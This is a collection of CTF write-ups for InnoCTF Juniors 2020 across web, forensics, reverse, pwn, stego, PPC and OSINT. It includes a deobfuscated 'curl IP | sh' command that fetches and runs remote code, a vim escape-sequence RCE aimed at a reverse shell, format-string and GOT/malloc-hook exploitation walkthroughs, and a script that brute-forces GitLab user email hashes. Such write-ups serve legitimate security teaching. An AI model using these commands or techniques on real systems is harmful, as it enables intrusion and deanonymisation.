--- title: 'InnoCTF Juniors 2020 Write-ups' --- InnoCTF Juniors 2020 Write-ups === ## Table of Contents [TOC] # Web ## Apache 0day Author: Nikolai Mikriukov @Nmikriukov Given command will take code from ip address and execute it on your machine. If we remove everything that is not needed inside the command, it will be ``` curl 0xBC829B6D |`echo -e "\x73\x68"` ``` Which can be also written as ``` curl 188.130.155.109 |`echo -e "sh"` ``` or ``` curl 188.130.155.109 | sh ``` Shell script from http://188.130.155.109 contains simple instruction of how to get the flag ## Oldfag Author: Nikolai Mikriukov @Nmikriukov Task description says that admin use console with vim and he noticed something suspicious in previous attack attempt. On the website we can find post form to send CV in text. Since it is just text file, admin will open it in vim. There is [vim rce exploit](https://www.exploit-db.com/exploits/46973) that we can even hide under escape sequences. If admin will *cat* our file, he will see simple text. Goal is to open reverse shell and read flag from home directory. ## COVID party Author: Alexey Rodionov @menad Just look at the iv's in the code, and then find the place where it is used. In the algo, on line 102, xy[0] and xy[1] always exists, and "else" cases will never happens. Inside "if" our coordinates are overwrites by random value without any logic. So you can just remove all if-else blocks and stay just one command `createImage(xy);` ```javascript= for (var i=0;i<total_number_of_vectors;i++){ let xy = getCoordinate() createImage(xy) }; ``` ![](https://i.imgur.com/c7Gl5aT.png) Draw lines between this "iv" dots and you will see **54RS.HTML** text. Open this page on task's domain ![](https://i.imgur.com/60YCHPu.png) Download jpeg image and do ``` strings v1ru5.jpg | GREP CTF CTF{c0v1d19fl4gh3r3} ``` # Forensic ## Zip + OpenBSD = Love Author: German Vechtomov In the description of task, special attention is paid to the word 'crack'. This can move us to the fact that it is not necessary to bruteforce the password to the archive. Having searched a bit, you can stumble on PkCrack. Having carefully studied the attack, you can decrypt the archive, having at least one file in its plaintext form. We have such a file is OpenBSD 6.6 version. Following the instructions, we get the flag: `wget https://cdn.openbsd.org/pub/OpenBSD/6.6/amd64/miniroot66.fs` `zip clean.zip miniroot66.fs` `pkcrack -C task.zip -c miniroot66.fs -P clean.zip -p miniroot66.fs -d decrypted.zip -a` `unzip decrypted.zip` And we get the flag! ## 512 Author: German Vechtomov First of all, we should investigate memory dump. Let's use bulk_extractor: `bulk_extractor memory.raw -o dumped` In directory we find a lot of material, but we interested in `aes_keys.txt`. We need to bruteforce all combinatios from this file and get master key (this is a example). `cat aes_keys.txt` `215700445 93 7b 6e e6 b8 ca d3 77 10 b3 d6 6a ea 9a c0 98 20 03 29 58 4f b9 f7 ac 0d 43 ef 52 85 c1 c7 34 AES256` `215700941 f4 80 f2 cd 17 61 65 85 a9 f9 b1 58 22 65 df 60 1e 92 f4 b7 8b fc 99 bf 97 0f e4 38 bb 37 87 7d AES256 ` As we know from task name (512), it can be 512-bit AES master key (this is a example). So continue: `f480f2cd17616585a9f9b1582265df601e92f4b78bfc99bf970fe438bb37877d937b6ee6b8cad37710b3d66aea9ac098200329584fb9f7ac0d43ef5285c1c734` - our master key. Time to create master key file: `echo f480f2cd17616585a9f9b1582265df601e92f4b78bfc99bf970fe438bb37877d937b6ee6b8cad37710b3d66aea9ac098200329584fb9f7ac0d43ef5285c1c734 > master_key.txt` `xxd -r -p master_key.txt master_key.bin` Now we can mount our encrypted partition: `mmls -r disk.raw` `dd if=disk.raw of=luks.raw status=progress skip=264192` `cryptsetup open --master-key-file master_key.bin luks.raw luks` `mount -o ro,loop,noatime /dev/mapper/luks /mnt` We find nsa.jpg in the /root directory. `ls /mnt/root` `nsa.jpg` Now we don't know that to do, so time to find some data in memory dump: `strings memory.raw | grep 'nsa.jpg'` ![](https://i.ibb.co/m4qTSsY/2.jpg) `steghide embed -p '50_73ll_m3_wh47_is_57364n06r4phy' -cf nsa.jpg -ef nsa.zip` Now we can decrypt zip from image using `steghide`: `steghide extract -p '50_73ll_m3_wh47_is_57364n06r4phy' -sf nsa.jpg` We found that zip archive is encrypted. Time to bruteforce: `fcrackzip -v -u -D -p 'rockyou.txt' 'nsa.zip'` Password is: `sweet666insanity` In archive we found string encoded with base64: `Q1RGe3Rlc3RfZmxhZ30=` -> `CTF{test_flag}` # Reverse ## No memcpy, no game, no fun Author: German Vechtomov After some search, it becomes clear that `bytecode.qvm` is the [q3vm](http://fabiensanglard.net/quake3/qvm.php) virtual machine format. We can use [this](https://github.com/jnz/q3vm) utility to run file: `Loading vm file bytecode.qvm... Size: 145` You can try to find some patterns, but the easiest way is to start debugging. You can notice that the bytecode is loaded into the VM first using the `loadImage`, and then it is launched using `VM_Call`. Let's continue with function VM_Call. ![](https://i.ibb.co/16bQwjD/1.jpg) ![](https://i.ibb.co/MM3Chhc/2.jpg) It seems that after the program is loaded into memory, it is launched with the help of `VM_CallInterpreted`. Try to find something there. After a long search, you can pay attention to the function of the `memcpy`. Also it is a clue in the name of the task. If you carefully look at the data that is located at 0x00007ffff7fcbd90, then these are some numbers: ![](https://i.ibb.co/k13KxCC/3.jpg) If we recall the description, then there is a hint of squares. Try to extract the root of the first four numbers and find out what they carry: `bytes([int(int('0x4951',16)**(1/2))]) = b'\x89'` `bytes([int(int('0x1900',16)**(1/2))]) = b'P'` `bytes([int(int('0x17c4',16)**(1/2))]) = b'N'` `bytes([int(int('0x13b1',16)**(1/2))]) = b'G'` It seems there is a picture. By the way, at runtime, we were told that the size is 145. Let's try to use this information. Dump these bytes and create a picture. ![](https://i.ibb.co/CpccMvh/4.jpg) We see an image with three lines corresponding to RGB. After various attempts to read this file, we conclude that these are 1 and 0, and the base64 sequence is encoded: ![](https://i.ibb.co/r0vx03p/6.png) `fWdhbGZfdHNldHtGVEM=` Decode base64: `}galf_tset{FTC` And finally, flag: `CTF{test_flag}` ## Linux driving Author: Alexey Posikera Note: addresses in the solution may be different with addresses in the binary file First of all, let's look at the output of `readelf` program. In the `.symtab` section we can see that this is a kernel module (for example, by using functions like init_module and cleanup_module, printk and so on). We could also use `strings` command which give us some information and tells that it is a kernel module, and then look at the output of `modinfo`. Also, it uses `__register_chrdev` and `__unregister_chrdev` functions, so, it's a driver. ![1](https://i.ibb.co/2WdnrjT/image-1.png) Then let's open this driver in some disassembler. We can see that there are some functions whose names are not contained in symbol table. Also, there are custom `rand()` and `srand()`. ![2](https://i.ibb.co/tZj5ZXS/image-2.png) In function `init_module` we see a flag "CTF{n0t_4_fl4g}" which is copied later by `strncpy` in some `mem_buffer`, and that is fake. Character device "CTF" is registered, and a place is allocated under `mem_buffer` with `kmalloc` - we can assume that this is a buffer for device. In the end of the func we get current time with subroutine `sub_32` in my case (it calls `ktime_get_real_ts64`) and check if this time in seconds is equal to 1613371337. If it is so `srand` sets a seed with this time, and the driver asks to create CTF device. ![3](https://i.ibb.co/VJ0M0RM/image-3.png) In the function `cleanup_module` there is nothing interesting. Some significant process is going on in `sub_189` and `sub_32F`. They use `copy_user_generic_unrolled`, so, most likely they write and read buffer from user to device and backwards. `sub_189` gets buffer from user, checks current time, gets random number from custom `rand`, and if the difference between this time and `qword_E68` (which is our starting time from init_module) is odd then we put in some static buffer `dword_E80` a result of `(<symbol from user buffer> ^ <random number>) * 145)`, in another case we put the same, but multiplied by 144. Also, we put the current symbol to mem_buffer. ![4](https://i.ibb.co/jzJ12ht/image-4.png) `sub_32F` prints mem_buffer to user and checks if buffer `dword_E80` is equal to another buffer `dword_A90` with static numbers. If they are equal we get success. ![5](https://i.ibb.co/0cy8R7H/image-5.png) Final algorithm in pseudocode: ``` start_time = get_current_time() (== 1613371337) srand(1613371337) check = {dword_A90} array = [] for i in <user input>: current_time = get_current_time() r = rand() % 75 + 48 if (current_time - start_time) % 2 == 1: put in array ((i ^ r) * 145) else: put in array ((i ^ r) * 144) if array == check: return success ``` As you can see, we can enumerate the flag (user input) with `dword_A90` because 144 and 145 are big enough numbers. Just rewrite custom rand and srand functions and divide each number in dword_A90 by 145 or 144 to get integer, then xor it with the next random number. ## 100% solvable reverse Author: Alexey Posikera If you'll try to run this file, there is nothing printed. Let's try to go dipper. In the main function we see that the program opens `input.txt` file, reads data and gets its length. Then it checks "relatons" between symbols in the data by a lot of equations. Obviously, data should be the flag started with CTF{, then these linear equations check its correctness. To solve it you can use `numpy.linalg.solve` function from module `numpy` in python, for example. ![1](https://i.ibb.co/FnFMmCz/1.png) Flag: `CTF{AGLA_r3v3rs3_1L}` # Binary Exploitation ## No binary, no libc, a lot of fun. Author: Bogdan Kondratev We have only remote service which reverse our string. It is easy to find out that here is the format string vulnerability. But we can't leak anything interesting without binary. But what if we try to leak whole binary? If binary was compiled without PIE then it should starts at 0x400000. We can try to leak information using `%s` payload. Data leaked from the `0x400000` will looks like `\x7fELF`. It means we can leak whole binary. Then we should leak whole binary starting from `0x400000`, and don't forget to add null bytes. After it we should reverse leaked binary. If we open it in the ghidra we can see something like this: ![Screenshot_1](https://i.ibb.co/Wt04td0/Screenshot-1.png) `FUN_004008bc` calls `FUN_00400797`. If we try to reverse last one, we can see something like this: ![Screenshot_2](https://i.ibb.co/S7rYYDX/Screenshot-2.png) It is not hard to guess that `FUN_00400660` should be `printf` and `FUN_00400640` is `strlen`. Last one is good candidate to overwrite in GOT table. Then we extract address to GOT table for `printf` and `strlen` from binary. It should be `0x600da8` and `0x600d98`. In next step we should determine glibc version. We should leak information from GOT table for `printf`. It will be looks like `0x7fXXXXXXXe80`. Using this site: https://libc.blukat.me/ we can determine which glibc was used in the task. In this case it was `libc6_2.27-3ubuntu1_amd64`. Now we have libc and some addresses of GOT. Time to pwn! I decide to overwrite the `strlen` but for `printf` it also should work. My payload: ![Screenshot_3](https://i.ibb.co/c3Sb7vQ/Screenshot-3.png) In this case it is enough overwrite three low bytes of GOT. And after running our exploit we get a shell! Flag is stored in the flag.txt. ## Is it pwnable? Author: Bogdan Kondratev In this task we have compiled binary. Checksec for it: ![Screenshot_4](https://i.ibb.co/92shmSq/Screenshot-4.png) This binary have almost all protections. What we can do here? Firstly, let's reverse it. In the function `regist ` we can notice format string vulnerability but we can't use it for writing to arbitrary address because of check for symbol `n` in the input. We can use it for leaking some addresses and defeat `PIE`. In the `main` we have infinity loop. Update functionality can be used to write one byte by arbitrary address. Hence we have `RelRO` protection, we can't overwrite GOT table. But we can call `malloc` and `free` functions. It means we can write to the `__malloc_hook` address the `one_gadget` payload which will be run before the `malloc`. With format string vulnerability we can leak `PIE` and `libc` addresses. Its addresses can be found on 25 and 16 offsets. On offset `16` we have address of `_IO_file_jumps` in libc. We can use it to determine version of glibc on this site: https://libc.blukat.me. In this case it was `libc6_2.27-3ubuntu1_amd64`. Now we can determine address of one gadget. On offset `25` we have address of some place in main. If we subtract `0xc0f` from it we get a pie base. Next step it is leak data from the `ptr` to calculate offset of `__malloc_hook`. For it we can again use format string vulnerability in the `regist` function. In the end we should write byte by byte `one_gadget ` to the `__malloc_hook`. And don't forget to xor every byte with `0xbb`. I used this function to do it: ![Screenshot_5](https://i.ibb.co/cvG7xj8/Screenshot-5.png) After write we should call `malloc` function to trigger `__malloc_hook`. And after it we should get shell! Flag is stored in the flag.txt. # Stegano ## Snow Author: German Vechtomov As you can see, there few extra lines in the file. Also task name hints at the snow utility, which can hide data in the form of spaces: `snow task.txt flag.txt` `cat flag.txt` And that's all! ## DNS tunnel Author: Nikolai Mikriukov @Nmikriukov There are many DNS requests with `hex(base64(payload))` encoded data in subdomain. If we just decode it, there will be useless text. But base64 does not use last bits in encoded message. Each three bytes are encoded using four bytes. If last bytes are not used, they are padded using *=* symbol, but some bits in last used bytes could be also useless and they are usually filled with zeroes. For example, if we encode *aa* (16 bits) in base64, that will be *YWE=*. Last byte was not even used and padded with *=*. First three symbols *YWE* encode 6*3=18 bits, but we need only 16. We can change last two bits and original data will be the same. *YWF=*, *YWE=*, *YWG=*, *YWH=* will be all decoded as *aa*. So we can use this two bits to hide message. [First link](https://inshallhack.org/paddinganography/) from google with query *base64 stegano* has source code to solve this task and explains it in more details. ## StegoCat Author: Maks Smirnov @by_sm Open image in hex-editor or TweakPNG. Check non-standart chunk pUNk and find jpeg signature (JFIF). Then just copy all chunk in hex editor to new file, save as jpg and see the flag. # PPC ## Assembler Author: Nikolai Mikriukov @Nmikriukov When we open tcp connection, server sends IHDR and IDAT data, which are PNG chunks. Goal is to assemble png image based on this data. Magic bytes and last bytes are always the same. Each chunk has length (4 bytes), name (4 bytes), data (specified in length chunk) and crc (calculated based on data). For IDAT and IHDR we know only data and name, but can calculate length and crc. Then combine it all together, show image and send text from image back to server. ```python import socket from json import loads from base64 import b64decode from zlib import crc32 from binascii import unhexlify from PIL import Image addr = (input("Enter task service ip address or domain: "), int(input("Enter task service port: "))) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(addr) data = s.recv(4096).decode() while data[-1] != '\n': data += s.recv(4096).decode() data = loads(data) # extract chunks IHDR, IDAT = b64decode(data["IHDR"]), b64decode(data["IDAT"]) # calculate their crc crc32_IHDR = unhexlify(hex(crc32(b'IHDR' + IHDR))[2:].zfill(8)) crc32_IDAT = unhexlify(hex(crc32(b'IDAT' + IDAT))[2:].zfill(8)) # calculate length of IDAT (IHDR is always const) len_IDAT = unhexlify(hex(len(IDAT))[2:].zfill(8)) # save image with open("solved.png", "wb") as f: # magic bytes + IHDR + IDAT + end f.write(b"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A" + b"\x00\x00\x00\x0DIHDR" + IHDR + crc32_IHDR + len_IDAT + b"IDAT" + IDAT + crc32_IDAT + b"\x00\x00\x00\x00IEND\xAE\x42\x60\x82") # IEND chunk # show image image = Image.open('solved.png') image.show() # send back and get flag inp = input("Enter text on image >>> ") s.send((inp.rstrip() + "\n").encode()) print(s.recv(1024).decode()) ``` ## Иннопланетяне Author: Alexey Rodionov @menad The main idea is to convert challenge "type" to *octal system*. Alphabet: 0 - простота числа; 1 - отсутствие простоты числа; 2 - число делится; 3 - число не делится; 4 - нечетность числа; 5 - четность числа; 6 - число ниже определнной границы; 7 - число выше определенной границы. And this sequence is the answer. Solve this equalities is easy. **solver.py** ```python #!/usr/bin/env python3 import socket from time import sleep import re from checker import * TCP_IP = 'ppc.olymp.hackforces.com' TCP_PORT = 5337 BUFFER_SIZE = 2048 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) f = open('log.txt', 'w') pattern_hard = re.compile(r'(.+)\n(\d+) (\d+) (\d+) (\d+) (\d+) (\d+)') try: rnd = 1 while True: sleep(0.05) data = s.recv(BUFFER_SIZE).decode("utf-8") if len(data) < 10: continue g = pattern_hard.findall(data) if "прочих" in g[0][0]: f.write("0") answer = check_prime(g[0]) elif "простым" in g[0][0]: f.write("1") answer = check_not_prime(g[0]) elif "делится" in g[0][0]: f.write("2") answer = check_divided(g[0]) elif "разделить" in g[0][0]: f.write("3") answer = check_not_divided(g[0]) elif "Нечетное" in g[0][0]: f.write("4") answer = check_odd(g[0]) elif "Четное" in g[0][0]: f.write("5") answer = check_even(g[0]) elif "меньше" in g[0][0]: f.write("6") answer = check_lower(g[0]) elif "больше" in g[0][0]: f.write("7") answer = check_greater(g[0]) a = str(answer) s.send((a + "\n").encode()) print(f'{a} {rnd}') rnd += 1 except Exception as ex: print(ex) finally: f.close() s.close() ``` Additional library **checker.py** ```python import re def is_prime(a): return all(a % i for i in range(2, a)) def check_prime(data): for n in [int(x) for x in data[1:]]: if is_prime(n): return n def check_not_prime(data): for n in [int(x) for x in data[1:]]: if not is_prime(n): return n def check_divided(data): m = int(re.findall(r'(\d+)', data[0])[0]) for n in [int(x) for x in data[1:]]: if n % m == 0: return n def check_not_divided(data): m = int(re.findall(r'(\d+)', data[0])[0]) for n in [int(x) for x in data[1:]]: if n % m != 0: return n def check_odd(data): for n in [int(x) for x in data[1:]]: if n % 2 != 0: return n def check_even(data): for n in [int(x) for x in data[1:]]: if n % 2 == 0: return n def check_greater(data): m = int(re.findall(r'(\d+)', data[0])[0]) for n in [int(x) for x in data[1:]]: if n > m: return n def check_lower(data): m = int(re.findall(r'(\d+)', data[0])[0]) for n in [int(x) for x in data[1:]]: if n < m: return n ``` And then see log.txt file - this is the answer # OSINT ## Looking for a hacker Author: Maks Smirnov @by_sm We have a nickname *m364h4ck3r*. Go to namechk.com and try to find something interesting here, like a twtitter account. Read some retweets and see link http://plagueinc.ga. In this page we can see what our flag has been removed. Go to https://web.archive.org/ and use wayback machine to find snapshot and flag. https://web.archive.org/web/*/http://plagueinc.ga ## Find the hacker Author: Maks Smirnov @by_sm Again we only have a nickname *TheBestHacker2020*. Go to namechk.com and find github account https://github.com/TheBestHacker2020. Check commits, in file brute.py we can find domain (https://github.com/TheBestHacker2020/HackTools/commit/b1c4f683a83a42f0d614f17dc8a7c0c59cce0ded) http://s3cur3d4r1k.cf and email pattern. We study the code in the brute.py file and understand that gitlab allows you to use api without authorization, and also it is possible to get information about users (http://s3cur3d4r1k.cf/api/v4/users/1),including name-lastname and email hash (in avatar_url). Writing a code that will generate all possible emails according to the pattern [a-z]{3}@hackerman.ctf, iterate over all users on the gitlab and try to compare the received email hashes with users. Code example: ```python from itertools import product from hashlib import md5 from requests import get from re import findall user_list = [] for i in range(1,200): user = get("http://s3cur3d4r1k.cf/api/v4/users/{}".format(i)).json() if user == {"message":"404 User Not Found"}: break user_list.append(findall('([a-z0-9]{32})', user['avatar_url'])[0]) #generate all possible emails by pattern [a-z]{3} itterable = 'abcdefghijklmnopqrstuvwxyz' all_emails = map(''.join, product(itterable, repeat=3)) encrypt_emails = [] for i in all_emails: email = i + "@hackerman.ctf" encrypt_emails.append(str(md5(email.encode()).hexdigest())) for i in user_list: for j in encrypt_emails: if i == j: print(get('http://s3cur3d4r1k.cf/api/v4/users/{}'.format(int(user_list.index(i))+1)).json()["name"]) exit(0) ```